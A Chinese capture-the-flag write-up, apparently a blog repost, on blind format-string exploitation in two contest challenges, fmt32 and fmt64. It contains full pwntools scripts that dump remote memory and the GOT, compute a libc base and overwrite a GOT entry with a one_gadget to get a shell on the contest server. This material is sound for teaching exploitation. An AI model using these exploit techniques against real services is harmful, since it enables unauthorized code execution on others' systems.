【Pwn】2019安洵杯线上赛 fmt32 && fmt64

出题人好像比较喜欢blind pwn,5道pwn题里有3个,由于时间关系来不及看rop64了(我太菜)。

1.fmt32

只给了ip&port,没有附件猜测是blind pwn,根据题目名字,猜想有格式化字符串漏洞,试了一下发现是一个循环(毕竟是复读机),每次都可以利用格式化字符串漏洞,于是首先想法是先将内存dump下来再分析,如果32位程序没开pie保护,程序首地址为0x8048000。

def leak(addr):
    payload = "%10$s.TMP" + p32(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret

start_addr = 0x8048000
#leak(0x8048000)
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x8048b00:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_bin', 'wb') as f:
    f.write(text_seg)

代码段差不多到0x8048b00就结束了,跑完之后放到ida中,找到代码段,下面应该是main函数,根据远程服务器的返回以及流程猜测对应函数吧。

seg000:08048605                 push    ebp
seg000:08048606                 mov     ebp, esp
seg000:08048608                 push    ecx
seg000:08048609                 sub     esp, 244h
seg000:0804860F                 mov     eax, large gs:14h
seg000:08048615                 mov     [ebp-0Ch], eax
seg000:08048618                 xor     eax, eax
seg000:0804861A                 mov     eax, ds:804A064h
seg000:0804861F                 sub     esp, 8
seg000:08048622                 push    0
seg000:08048624                 push    eax
seg000:08048625                 call    sub_8048450
seg000:0804862A                 add     esp, 10h
seg000:0804862D                 mov     eax, ds:804A060h
seg000:08048632                 sub     esp, 8
seg000:08048635                 push    0
seg000:08048637                 push    eax
seg000:08048638                 call    sub_8048450
seg000:0804863D                 add     esp, 10h
seg000:08048640                 mov     eax, ds:804A040h
seg000:08048645                 sub     esp, 8
seg000:08048648                 push    0
seg000:0804864A                 push    eax
seg000:0804864B                 call    sub_8048450
seg000:08048650                 add     esp, 10h
seg000:08048653                 sub     esp, 0Ch
seg000:08048656                 push    80487E0h
seg000:0804865B                 call    sub_8048490
seg000:08048660                 add     esp, 10h
seg000:08048663                 sub     esp, 0Ch
seg000:08048666                 push    804885Ch
seg000:0804866B                 call    sub_8048490
seg000:08048670                 add     esp, 10h
seg000:08048673                 mov     dword ptr [ebp-240h], 0
seg000:0804867D
seg000:0804867D loc_804867D: 							;循环
seg000:0804867D                 sub     esp, 0Ch
seg000:08048680                 push    3
seg000:08048682                 call    sub_8048480      ;目测alarm
seg000:08048687                 add     esp, 10h
seg000:0804868A                 sub     esp, 4
seg000:0804868D                 push    101h
seg000:08048692                 push    0
seg000:08048694                 lea     eax, [ebp-239h]
seg000:0804869A                 push    eax                        
seg000:0804869B                 call    sub_80484D0      ;目测memset
seg000:080486A0                 add     esp, 10h
seg000:080486A3                 sub     esp, 4
seg000:080486A6                 push    12Ch
seg000:080486AB                 push    0
seg000:080486AD                 lea     eax, [ebp-138h]
seg000:080486B3                 push    eax
seg000:080486B4                 call    sub_80484D0       ;memset,初始化的两个缓冲区     
seg000:080486B9                 add     esp, 10h
seg000:080486BC                 sub     esp, 0Ch
seg000:080486BF                 push    804887Dh          ;这里push的地址,是数据段的字符串,应该是要打印东西了,猜测是puts函数。
seg000:080486C4                 call    sub_8048470
seg000:080486C9                 add     esp, 10h
seg000:080486CC                 sub     esp, 4
seg000:080486CF                 push    100h
seg000:080486D4                 lea     eax, [ebp-239h]
seg000:080486DA                 push    eax
seg000:080486DB                 push    0
seg000:080486DD                 call    sub_8048460    ;这里看入栈参数应该是read
seg000:080486E2                 add     esp, 10h
seg000:080486E5                 sub     esp, 4
seg000:080486E8                 lea     eax, [ebp-239h]
seg000:080486EE                 push    eax
seg000:080486EF                 push    804888Dh
seg000:080486F4                 lea     eax, [ebp-138h]
seg000:080486FA                 push    eax
seg000:080486FB                 call    sub_80484E0   ;这边两个缓冲区都作为参数,并且有格式化字符,猜测是sprintf
seg000:08048700                 add     esp, 10h
seg000:08048703                 sub     esp, 0Ch
seg000:08048706                 lea     eax, [ebp-138h]
seg000:0804870C                 push    eax
seg000:0804870D                 call    sub_80484B0  ;下面将eax和10eh进行比较,猜测这个是strlen
seg000:08048712                 add     esp, 10h
seg000:08048715                 mov     [ebp-240h], eax
seg000:0804871B                 cmp     dword ptr [ebp-240h], 10Eh
seg000:08048725                 jbe     short loc_8048741
seg000:08048727                 sub     esp, 0Ch     ;这边是输入的字符串超了限制。
seg000:0804872A                 push    804889Ch
seg000:0804872F                 call    sub_8048470
seg000:08048734                 add     esp, 10h
seg000:08048737                 sub     esp, 0Ch
seg000:0804873A                 push    0
seg000:0804873C                 call    sub_80484A0  ;exit(0)
seg000:08048741
seg000:08048741 loc_8048741:                            ; CODE XREF: seg000:08048725j
seg000:08048741                 sub     esp, 0Ch
seg000:08048744                 lea     eax, [ebp-138h]
seg000:0804874A                 push    eax
seg000:0804874B                 call    sub_8048470  ;puts
seg000:08048750                 add     esp, 10h
seg000:08048753                 jmp     loc_804867D   ;下一个循环

程序逻辑搞清之后,跟入sprint函数,进入到dump下来的plt表里。
在这里插入图片描述那么所有的要素就已经齐了,sprint_plt=0x80484e0;sprint_got=0x804a030。先读libc,再进行got_hijack就可以了。下面是完整的exp。

from pwn import *

io=remote('47.108.135.45','20075')

def leak(addr):
    payload = "%10$s.TMP" + p32(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret

'''
start_addr = 0x8048000
leak(0x8048000)

text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x8048b00:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_bin', 'wb') as fout:
    fout.write(text_seg)
'''

puts_got=0x804a014
sprint_got=0x804a030

payload = "%10$s.TMP" + p32(sprint_got)
io.sendline(payload)
io.recvuntil('Repeater:')
sprint_add=u32(io.recv(4))
print(hex(sprint_add))

libc_base=sprint_add-0x049080
print(hex(libc_base))
one_gadget=libc_base+0x3a80c
a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%16$hn'
payload += '%' + str(b - a) + 'c' +'%17$hn'
payload = payload.ljust(33, 'A')+p32(puts_got)+p32(puts_got+2)
io.sendline(payload)
io.interactive()

2.fmt64

这个题同样也是格式化字符串漏洞的盲pwn,和上题的区别是64位的程序,这题我也尝试了dump代码段,64位程序,程序首地址为0x400000,于是dump到0x400b00,虽然内存成功dump下来了,但是放到ida反汇编失败了,原因未知(我太菜了),由于当时比赛快结束了(最后5分钟做完交上的),所以就想程序逻辑应该大概和32位类似,还是要想办法知道got表的未知,题目同时还提供了一个附件。

$ readelf -s stilltest

Symbol table '.dynsym' contains 15 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
     9: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sprintf@GLIBC_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (2)
    12: 0000000000601080     8 OBJECT  GLOBAL DEFAULT   26 stdout@GLIBC_2.2.5 (2)
    13: 0000000000601090     8 OBJECT  GLOBAL DEFAULT   26 stdin@GLIBC_2.2.5 (2)
    14: 00000000006010a0     8 OBJECT  GLOBAL DEFAULT   26 stderr@GLIBC_2.2.5 (2)

可以发现提供了输入输出的位置,这几个一般是在bss段上的,由于bss段就在got表附近,于是想把这一块位置都dump下来。

def leak(addr):
    payload = "%9$s.TMP" + p64(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret
 
start_addr = 0x601000  
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x6010a0:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_got', 'wb') as f:
    f.write(text_seg)
0000000000601000  0000000000600E28 00007F6231568168 
0000000000601010  00007F6231358EE0 00007F6230FE6690 
0000000000601020  00007F6231002720 00007F6230FED6B0 
0000000000601030  00007F6230FCC800 00007F62310E9970 
0000000000601040  00007F6231043200 00007F623106E250 
0000000000601050  00007F6230F97740 00007F6230FCC940 
0000000000601060  0000000000400706 0000000000000000 
0000000000601070  0000000000000000 0000000000000000 
0000000000601080  00007F623133C620 0000000000000000 
0000000000601090  00007F623133B8E0 0000000000000000 
00000000006010A0      7F623133C540                  

很明显是got表了,经过反复测试(利用格式化字符串修改got表,会导致该函数坏掉,根据服务坏掉的位置猜测函数对应)最终确定0x601048这个函数对应的是read函数(大胆猜测,小心求证),尝试得到libc基址,然后随便覆盖个下次会执行到的函数,就可以getshell了,完整exp如下。

from pwn import *
import binascii

io=remote('47.108.135.45','20075')
libc=ELF('./libc-2.23.so')

def leak(addr):
    payload = "%9$s.TMP" + p64(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret
#leak(0x400000)
print('puts:'+hex(libc.sym['puts']))
print('strlen:'+hex(libc.sym['strlen']))
print('printf:'+hex(libc.sym['printf']))
print('read:'+hex(libc.sym['read']))
print('memset:'+hex(libc.sym['memset']))
print('setbuf:'+hex(libc.sym['setbuf']))
print('alarm:'+hex(libc.sym['alarm']))

#start_addr = 0x601000
#leak(0x06010a0)
'''
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x6010a0:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_got', 'wb') as fout:
    fout.write(text_seg)

'''
read_got=0x601048
payload = "%9$s.TMP" + p64(read_got)
io.sendline(payload)
io.recvuntil('Repeater:')
read_add=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_add))


libc_base=read_add-0x0f7250
print(hex(libc_base))
one_gadget=libc_base+0xf1147
print(hex(one_gadget))

a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%12$hn'
payload += '%' + str(b - a) + 'c' +'%13$hn'
payload = payload.ljust(32, 'A')+p64(0x601058)+p64(0x601058+2)
io.sendline(payload)
'''
io.recvuntil('QQQ')
edit=u64(io.recv(6).ljust(8,'\x00'))
print(hex(edit))
#io.sendline('/bin/sh\x00')
'''
#io.sendline('AAAAAAAA'+'%8$p')
io.interactive()

3.总结

blind pwn最早好像是出现在Lctf上的,还是挺有意思的,毕竟在真实环境下不一定能获得远程服务的二进制代码,做这类题目想办法利用程序的任意地址读(缓冲区溢出漏洞,格式化字符串漏洞)来进行信息泄露,比较重要的信息就是,代码段(理解解程序逻辑),plt段,以及got表了,知道了信息之后就正常利用就行了。有些部分可能需要大胆猜测以及经验,推理逻辑可能没有那么完整(也可能是我太菜了),最后这个安洵杯,时间对一个人做的还是感觉有些短了(Pwn都没看完)。

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/103336928